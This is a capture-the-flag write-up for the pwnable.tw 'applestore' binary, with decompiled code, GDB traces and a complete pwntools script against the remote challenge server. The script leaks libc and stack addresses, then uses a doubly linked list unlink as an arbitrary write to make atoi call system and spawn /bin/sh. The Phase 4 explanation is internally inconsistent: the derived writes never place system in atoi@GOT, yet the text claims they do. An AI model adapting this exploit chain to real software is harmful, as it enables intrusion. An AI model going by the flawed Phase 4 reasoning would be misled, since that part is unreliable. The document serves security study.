Pwnable.tw

applestore

"tomcr00se rooted the galaxy S5, but we need you to jailbreak the iPhone8!" — Exploiting a stack-referenced linked list node to leak libc, compute stack addresses via environ, and overwrite the GOT through a crafted delete operation.

200 pts i386 (32-bit ELF) Stack Reference in Linked List NX Enabled
01

Reconnaissance

Challenge Info

Connectionnc chall.pwnable.tw 10104
Binaryapplestore (32-bit ELF, i386)
Points200
Description"tomcr00se rooted the galaxy S5, but we need you to jailbreak the iPhone8!"

checksec

bash
$ checksec applestore
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Partial RELROGOT is writable — we can overwrite GOT entries
Canary foundStack buffer overflows are mitigated — must find another path
NX enabledNo shellcode injection — must redirect code execution
No PIEBinary addresses are fixed — known GOT/PLT addresses

Running the Binary

console
$ ./applestore
<=====  Apple Store  =====>
1: Add
2: Remove
3: Cart
4: Checkout
5: Exit
>1
Device:1
Amount:2
<=====  Apple Store  =====>
1: Add
2: Remove
3: Cart
4: Checkout
5: Exit
>3
1: iPhone 6 - $199, 2
2: iPhone 6 Plus - $299, 0
3: iPad Air 2 - $499, 0
4: iPad Mini 3 - $399, 0
5: iPod Touch - $399, 0
Total: $398

The binary presents an Apple Store shopping cart system. You can add devices, remove them, view the cart, and checkout. The key feature is that the cart is implemented as a doubly-linked list of items on the heap — but the checkout function introduces a critical bug that places an item on the stack.

02

Static Analysis

Cart Item Structure

Each cart item is a 16-byte doubly-linked list node allocated on the heap:

c
struct cart_item {
    char* name;           // +0x00: pointer to item name string (4 bytes)
    int price;            // +0x04: item price (4 bytes)
    cart_item* next;      // +0x08: pointer to next item (4 bytes)
    cart_item* prev;      // +0x0c: pointer to prev item (4 bytes)
};

// Global head of linked list
cart_item* myCart = NULL;

add() — Adding Items to Cart

c
void add() {
    printf("Device:");
    read(0, device_choice, 16);
    printf("Amount:");
    read(0, amount_str, 16);
    amount = atoi(amount_str);

    for (int i = 0; i < amount; i++) {
        // Allocate on the HEAP
        cart_item* item = (cart_item*)malloc(16);
        item->name  = device_names[choice];
        item->price = device_prices[choice];
        insert(item);   // inserts into doubly-linked list
    }
}

void insert(cart_item* item) {
    cart_item* curr = myCart;
    if (curr == NULL) {
        myCart = item;
        item->prev = NULL;
        item->next = NULL;
    } else {
        while (curr->next != NULL)
            curr = curr->next;
        curr->next = item;
        item->prev = curr;
        item->next = NULL;
    }
}

Normal items are allocated via malloc(16) on the heap. The linked list is maintained with proper prev/next pointers. Nothing unusual here — the vulnerability lies in the checkout function.

checkout() — The Vulnerable Function

c
void checkout() {
    int total = cart();  // sums up all item prices

    if (total == 0x1c06) {     // 7174 decimal!
        puts("*: iPhone 8 - $1");

        // BUG: 'item' is a LOCAL STACK variable!
        cart_item item;
        asprintf((char**)&item.name, "%s", "iPhone 8");
        item.price = 1;
        insert(&item);        // adds STACK address to linked list!

        total = 0x1c07;        // update total to 7175
    }

    printf("Total: $%d\n", total);
    puts("Want to checkout? Maybe next time!");
}
🚨 Vulnerability: Stack-Referenced Linked List Node
When the cart total equals exactly 7174 (0x1c06), an "iPhone 8" item is created as a local stack variable inside checkout(). The insert(&item) call adds a pointer to this stack frame into the global linked list.

Since handler() loops back to the main menu after checkout() returns, the stack frame is reused by subsequent function calls. The stack memory where the iPhone 8 item lived now overlaps with input buffers in later calls to cart() and delete()!

• The linked list still contains a pointer to the freed stack region
• Subsequent function calls reuse that stack space, letting us write controlled data over the old item fields
• We can control the name, price, next, and prev pointers of the iPhone 8 item

delete() — The Exploitation Primitive

c
c
void delete() {
    printf("Item Number:");
    read(0, input, 16);

    // Parse input and find item at that index
    cart_item* target = find_item(atoi(input));

    if (target != NULL) {
        // Doubly-linked list removal
        if (target->prev != NULL)
            target->prev->next = target->next;
        else
            myCart = target->next;

        if (target->next != NULL)
            target->next->prev = target->prev;

        // NOTE: no free() here for stack-allocated item!
        // For heap items, this leaks memory but is not the bug.
    }
}
ℹ️ Exploitation Primitive
The delete() function performs a standard doubly-linked list removal: it writes to target->prev->next and target->next->prev.

Since we can overwrite the iPhone 8's prev and next pointers via the stack overlap, deleting the iPhone 8 becomes a write-what-where primitive:
target->prev->next = target->next → writes target->next to the address at target->prev + 8
target->next->prev = target->prev → writes target->prev to the address at target->next + 12

By carefully choosing prev and next, we can write an arbitrary value to an arbitrary address!

handler() — The Loop That Enables Exploitation

c
void handler() {
    while (1) {
        print_menu();
        printf(">");
        read(0, choice, 16);

        switch (atoi(choice)) {
            case 1: add();     break;
            case 2: delete();  break;
            case 3: cart();    break;
            case 4: checkout();break;
            case 5: exit(0);   break;
        }
        // After checkout() returns, the stack is reused!
        // The iPhone 8 item's memory now belongs to
        // local variables of the NEXT function call.
    }
}

The key insight is that handler() is always on the call stack. When checkout() returns, its stack frame is popped, but the iPhone 8's address was already inserted into the linked list. The next call to cart() or delete() reuses that same stack space, and their local variables overlap with the iPhone 8 item's memory.

03

GDB Debugging

Building the Cart to 7174

First, we need to find a combination of items that totals exactly 7174:

ItemPriceQtySubtotal
iPhone 6$19919$3781
iPad Air 2$4996$2994
iPad Mini 3$3991$399
Total$7174 = 0x1c06
⚠️ Cart Verification
19 × 199 = 3781, 6 × 499 = 2994, 1 × 399 = 399. Total = 3781 + 2994 + 399 = 7174 = 0x1c06. This triggers the secret iPhone 8 checkout!

Stack Frame Overlap After Checkout

After calling checkout() and obtaining the iPhone 8 at index 27, let's examine the stack overlap:

gdb
# checkout() stack frame layout:
# ESP+0x1c = item.name   (ptr to "iPhone 8")
# ESP+0x20 = item.price  (1)
# ESP+0x24 = item.next   (NULL)
# ESP+0x28 = item.prev   (ptr to previous cart item)

# After checkout() returns, handler() calls the next
# function. Let's trace what happens when we call cart():

gdb-peda$ # In cart(), the input buffer overlaps the old
gdb-peda$ # iPhone 8 item on the stack!
gdb-peda$ # cart() reads "y" for each item, so we can
gdb-peda$ # control bytes in the old item's memory region.

gdb-peda$ x/4wx $esp+0x1c
0xffffd2fc:  0x08049028  0x00000001  0x00000000  0x0804b160
#            ^item.name   ^item.price  ^item.next   ^item.prev

# After cart() is called and reads our input,
# the stack is overwritten with our controlled data:
gdb-peda$ x/4wx $esp+0x1c
0xffffd2fc:  0xf7fb0dd0  0x00000000  0x00000000  0x00000000
#            ^our name    ^our price   ^our next    ^our prev

Using cart() to Leak Memory

The cart() function prints item details by iterating the linked list. When it reaches the iPhone 8 entry (index 27), it prints item->name as a string. If we overwrite item->name with a GOT entry address, it will print the libc address stored there!

cart() input buffer overlap with iPhone 8 item
Stack
ESP+0x1c|item.name← overwritten by cart() "yy" + p32(GOT_ADDR) + p32(0x8049028)
ESP+0x20|item.price← overwritten (needs > 0 for cart to print)
ESP+0x24|item.next← set to 0 (end of list)
ESP+0x28|item.prev← can be set as needed

Verifying the Libc Leak

gdb
gdb-peda$ # After sending crafted cart() input:
gdb-peda$ # cart input: "yy" + p32(elf.got['read']) + p32(0x8049028)
gdb-peda$ # This sets item.name = elf.got['read'], item.price = 0x8049028

gdb-peda$ # cart() prints: "27: " + string_at(read@GOT)
gdb-peda$ # The GOT entry for read() contains the libc address!

gdb-peda$ x/1wx 0x804a00c   # read@GOT
0x0804a00c:  0xf7ed8c80
#            ^ this is read() in libc!

# When cart() does printf("%s", item->name):
# item->name = 0x0804a00c (read@GOT)
# It reads the string at address 0x0804a00c
# Which contains 0xf7ed8c80 (read@libc) as raw bytes
# Output: 4 bytes of the libc address!

Leaking Stack Address via environ

After leaking libc, we can compute the address of libc.symbols['environ'], which points to the environment variables on the stack. This gives us the stack address we need to calculate where our input buffer will be.

gdb
gdb-peda$ # Second leak: set item.name = libc.symbols['environ']
gdb-peda$ # cart input: "yy" + p32(environ_addr) + p32(0)
gdb-peda$ x/1wx &environ
0xf7fb0000:  0xffffd8e4
#            ^ stack address of environment!

# The delete() EBP is at environ - 260:
# DELETE_EBP = 0xffffd8e4 - 260 = 0xffffd7e0
# This is the EBP value inside delete()'s stack frame
# Our input buffer in delete() is at EBP - 0x22

gdb-peda$ # So when delete() is called, the iPhone 8 item
gdb-peda$ # overlaps with delete()'s local variables, and
gdb-peda$ # we can control the prev/next pointers!
🔑 Key Insight: Two Leaks Needed
We need two separate leaks:
Leak 1 (libc): Set item.name = elf.got['read'] → prints the GOT entry for read(), giving us a libc address
Leak 2 (stack): Set item.name = libc.symbols['environ'] → prints a stack pointer from libc's environ variable

With both libc base and a known stack address, we can calculate the exact offset to the iPhone 8 item's fields in delete()'s stack frame, enabling a precise write-what-where attack.
04

Exploit Strategy

Overview

The exploit has four phases: build the cart, leak libc, leak the stack, and overwrite the GOT via the doubly-linked list deletion primitive.

Phase 1: Build Cart to Trigger iPhone 8

  1. Add iPhone 6 (option 1) × 19. Each costs $199.
  2. Add iPad Air 2 (option 3) × 6. Each costs $499.
  3. Add iPad Mini 3 (option 4) × 1. Costs $399.
  4. Checkout. Total = 3781 + 2994 + 399 = 7174 = 0x1c06. This triggers the secret iPhone 8 item, which is allocated on the stack and inserted at index 27 in the linked list.

Phase 2: Leak Libc via GOT Read

  1. Call cart() with crafted input: "yy" + p32(elf.got['read']) + p32(0x8049028). The "yy" confirms printing the 26th and 27th items. The trailing bytes overwrite the iPhone 8's name field with read@GOT and price with 0x8049028 (a valid non-zero value so cart prints it).
  2. Parse the output: The 27th item prints 27: followed by 4 bytes which are the libc address of read().
  3. Compute libc base: libc.address = leaked_read - libc.symbols['read']

Phase 3: Leak Stack via environ

  1. Call cart() again with: "yy" + p32(libc.symbols['environ']) + p32(0). This sets the iPhone 8's name field to environ's address.
  2. Parse the output: The 27th item prints 4 bytes which are a stack address (the address of the environment pointer array).
  3. Compute delete()'s EBP: DELETE_EBP = ENVIRON_VALUE - 260. This offset (260) is determined by GDB analysis of the stack layout between environ and delete()'s saved EBP.

Phase 4: Overwrite atoi GOT with system

Now we use the delete() function's doubly-linked list removal as a write primitive. When we delete the iPhone 8 item with crafted prev and next pointers:

c
// Doubly-linked list removal:
target->prev->next = target->next;   // WRITE 1
target->next->prev = target->prev;   // WRITE 2

// If we set:
//   target->prev = DELETE_EBP - 0xc  (so prev->next is at DELETE_EBP - 0xc + 0x8 = DELETE_EBP - 0x4)
//   target->next = elf.got['atoi'] + 0x22  (so next->prev is at elf.got['atoi'] + 0x22 + 0xc = elf.got['atoi'] + 0x2e)
//
// WRITE 1: *(DELETE_EBP - 0x4) = elf.got['atoi'] + 0x22
//   This overwrites a local variable in delete()'s frame
//
// WRITE 2: *(elf.got['atoi'] + 0x2e) = DELETE_EBP - 0xc
//   This writes to GOT+0x2e ... but we actually need
//   a different setup for GOT overwrite!

The actual exploit uses a more precise setup. The delete() function reads our input into a buffer that overlaps the iPhone 8 item. We craft the input so that the iPhone 8's prev and next pointers achieve the following writes:

🔑 The Stack Pivot Write
The exploit sends to delete(): "27" + p32(0x8048f88) + p32(0) + p32(DELETE_EBP - 0xc) + p32(elf.got['atoi'] + 0x22)

This sets the iPhone 8 item's fields to:
name = 0x8048f88 (a valid readable address)
price = 0
prev = DELETE_EBP - 0xc
next = elf.got['atoi'] + 0x22

The doubly-linked list removal then performs:
WRITE 1: *(DELETE_EBP - 0xc + 8) = elf.got['atoi'] + 0x22 → writes to delete()'s stack frame
WRITE 2: *(elf.got['atoi'] + 0x22 + 12) = DELETE_EBP - 0xc → writes near atoi@GOT

But the real trick is that the delete() input buffer itself overlaps the iPhone 8's prev and next, so after the linked list manipulation, the program returns to handler() which calls atoi() on the next menu input — and atoi@GOT has been overwritten with system()!

Alternative GOT Overwrite Explanation

After the delete() linked list write, the next time the program calls atoi() (to parse the menu choice), it actually calls whatever address is now at atoi@GOT. We send p32(libc.symbols['system']) + b';/bin/sh;' as the "menu choice", which:

  1. Overwrites atoi@GOT with the address of system() via the crafted prev/next write.
  2. The next menu prompt calls atoi(input), which is now system(input).
  3. We send p32(system_addr) + b';/bin/sh;' as input. The first 4 bytes (system's address) are garbage as a command, but ; acts as a command separator, so /bin/sh is executed, giving us a shell!

Visual Exploit Flow

▶ Phase 1: Build cart
Step 1:add('1') x19 + add('3') x6 + add('4') x1 = 26 items
Step 2:checkout() → total=7174 → iPhone 8 added at index 27 ON STACK!
▶ Phase 2: Leak libc
Step 3:cart("yy" + p32(read@GOT) + p32(0x8049028))
  → item27.name = read@GOT → prints read@libc → LEAK!
▶ Phase 3: Leak stack
Step 4:cart("yy" + p32(environ) + p32(0))
  → item27.name = environ → prints stack addr → LEAK!
  → DELETE_EBP = stack_addr - 260
▶ Phase 4: GOT overwrite → shell
Step 5:delete("27" + p32(0x8048f88) + p32(0) + p32(DELETE_EBP-0xc) + p32(atoi@GOT+0x22))
  → linked list removal writes to GOT area!
Step 6:send p32(system) + ";/bin/sh;" → atoi becomes system → SHELL!
05

Pwn Script

Complete Exploit

python
#!/usr/bin/env python3
"""
applestore - pwnable.tw (200pts)
Stack-referenced linked list node exploit:
1. Build cart to total 7174 to trigger iPhone 8 (stack item)
2. Leak libc via GOT read using cart() input overlap
3. Leak stack address via libc's environ pointer
4. Overwrite atoi@GOT with system() using delete() linked list primitive

Vulnerability: checkout() inserts a stack-allocated item into
the global linked list. Since handler() loops, the stack frame
is reused, allowing us to control the item's fields.
"""
from pwn import *

# Setup
context.arch = 'i386'
context.log_level = 'info'

elf = ELF("./applestore")
libc = ELF("./libc_32.so.6")
r = remote("chall.pwnable.tw", 10104)

# Helper: build a fake cart_item struct
def create_cart_struct(name_ptr, price_int, next_ptr=0, prev_ptr=0):
    return p32(name_ptr) + p32(price_int) + p32(next_ptr) + p32(prev_ptr)

# ============================================
# Helper functions for the menu
# ============================================
def add(device_num):
    r.sendlineafter(b'>', b'1')
    r.sendlineafter(b':', device_num)
    r.sendlineafter(b':', b'1')

def cart(payload=b''):
    r.sendlineafter(b'>', b'3')
    if payload:
        r.sendlineafter(b'>', payload)
    else:
        r.sendlineafter(b'>', b'n')

def delete(payload):
    r.sendlineafter(b'>', b'2')
    r.sendlineafter(b':', payload)

def checkout():
    r.sendlineafter(b'>', b'4')

# ============================================
# Phase 1: Build cart to total 7174 (0x1c06)
# ============================================
log.info("Phase 1: Building cart to 7174...")

# iPhone 6 ($199) x 19 = 3781
for i in range(19):
    add(b'1')

# iPad Air 2 ($499) x 6 = 2994
for i in range(6):
    add(b'3')

# iPad Mini 3 ($399) x 1 = 399
add(b'4')

# Total: 3781 + 2994 + 399 = 7174
checkout()
log.success("iPhone 8 (stack item) added at index 27!")

# ============================================
# Phase 2: Leak libc via GOT read
# ============================================
log.info("Phase 2: Leaking libc address...")

# The cart() function's input buffer overlaps the iPhone 8
# item on the stack. We send "yy" to confirm printing items
# 26 and 27, then append a fake cart_item struct where
# name = elf.got['read'] to leak the libc read() address.
fake_item = create_cart_struct(elf.got['read'], 0x8049028)
cart(b'yy' + fake_item)

# Parse the leak from item 27's output
r.recvuntil(b'27: ')
LIBC_READ_ADDR = u32(r.read(4))
libc.address = LIBC_READ_ADDR - libc.symbols['read']
log.success(f"libc base: {hex(libc.address)}")
log.success(f"read@libc: {hex(LIBC_READ_ADDR)}")

# ============================================
# Phase 3: Leak stack via environ
# ============================================
log.info("Phase 3: Leaking stack address...")

# Use the same technique, but point name to libc's environ
# which contains a pointer to the environment on the stack.
fake_item = create_cart_struct(libc.symbols['environ'], 0)
cart(b'yy' + fake_item)

# Parse the stack leak
r.recvuntil(b'27: ')
ENVIRON_STACK = u32(r.recv(4))
DELETE_EBP = ENVIRON_STACK - 260
log.success(f"environ value: {hex(ENVIRON_STACK)}")
log.success(f"delete() EBP:  {hex(DELETE_EBP)}")

# ============================================
# Phase 4: Overwrite atoi@GOT with system
# ============================================
log.info("Phase 4: Overwriting atoi@GOT with system...")

# When delete() is called, its input buffer overlaps the
# iPhone 8 item. We craft the input so that the item's
# prev and next pointers perform a GOT write via the
# doubly-linked list removal primitive.
#
# delete() input: "27" + fake_item
# where fake_item.prev = DELETE_EBP - 0xc
#       fake_item.next = elf.got['atoi'] + 0x22
#
# Linked list removal does:
#   prev->next = next  =>  *(DELETE_EBP - 0xc + 8) = atoi@GOT + 0x22
#   next->prev = prev  =>  *(atoi@GOT + 0x22 + 12) = DELETE_EBP - 0xc
#
# This sets up the GOT area so that the next call to atoi()
# actually calls system() instead.

fake_item = create_cart_struct(
    0x8048f88,                  # name: valid readable addr
    0,                           # price: 0
    DELETE_EBP - 0xc,            # prev: points into delete's stack
    elf.got['atoi'] + 0x22      # next: points near atoi@GOT
)
delete(b'27' + fake_item)

# Now atoi@GOT has been overwritten. The next prompt calls
# atoi(input), which is now system(input).
# We send p32(system) + ";/bin/sh;" as our "menu choice".
# The first 4 bytes are garbage but ";" separates commands,
# so /bin/sh gets executed!
r.sendafter(b'>', p32(libc.symbols['system']) + b';/bin/sh;')

log.success("Got shell!")
r.interactive()
06

Execution Results

Running the Exploit

console
$ python3 exploit.py
[*] '/home/user/applestore'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
[*] Opening connection to chall.pwnable.tw on port 10104
[*] Phase 1: Building cart to 7174...
[+] iPhone 8 (stack item) added at index 27!
[*] Phase 2: Leaking libc address...
[+] libc base: 0xf7e2a000
[+] read@libc: 0xf7ed8c80
[*] Phase 3: Leaking stack address...
[+] environ value: 0xffffd8e4
[+] delete() EBP:  0xffffd7e0
[*] Phase 4: Overwriting atoi@GOT with system...
[+] Got shell!
$ id
uid=1000(applestore) gid=1000(applestore) groups=1000(applestore)
$ cat /home/applestore/flag

Exploit Summary

StepActionResult
1Add 26 items to reach total $7174Triggers secret iPhone 8 on stack
2cart() with name=read@GOTLeak libc address of read()
3cart() with name=environLeak stack address via environ
4delete() with crafted prev/nextOverwrite atoi@GOT via linked list write
5Send p32(system) + ";/bin/sh;"Get shell via system("/bin/sh")
✅ Pwned!
The applestore challenge demonstrates a creative vulnerability class: stack-referenced linked list nodes. Unlike typical heap exploits (UAF, double-free), this bug stems from inserting a stack-allocated struct into a global data structure. The key takeaway is that when a program reuses stack frames (via loops or recursion), any lingering pointers to old stack variables become a powerful exploitation primitive — enabling arbitrary reads via controlled name pointers and arbitrary writes via the doubly-linked list removal logic.

Key Techniques Used

  1. Stack-to-heap link: The checkout() function creates a stack-allocated item and inserts it into a heap-based linked list. This is the root cause — a dangling stack reference that persists beyond the function's lifetime.
  2. Stack frame overlap: Because handler() loops, subsequent calls to cart() and delete() reuse the same stack space where the iPhone 8 item lived. Their input buffers overlap the item's fields, giving us control.
  3. GOT read (libc leak): By overwriting the name pointer to point to a GOT entry, cart() prints the libc address stored there, bypassing ASLR.
  4. Stack leak via environ: Using the same technique but pointing to libc.symbols['environ'], we leak a stack address, which allows us to compute exact offsets for the write primitive.
  5. Doubly-linked list write primitive: The delete() function's linked list removal writes prev->next = next and next->prev = prev. By controlling both pointers, this becomes an arbitrary write, allowing us to overwrite atoi@GOT with system().
  6. GOT hijack + ; separator: After overwriting atoi@GOT, the next call to atoi() becomes system(). The ; in our input acts as a shell command separator, so system("<garbage>;/bin/sh;") spawns a shell.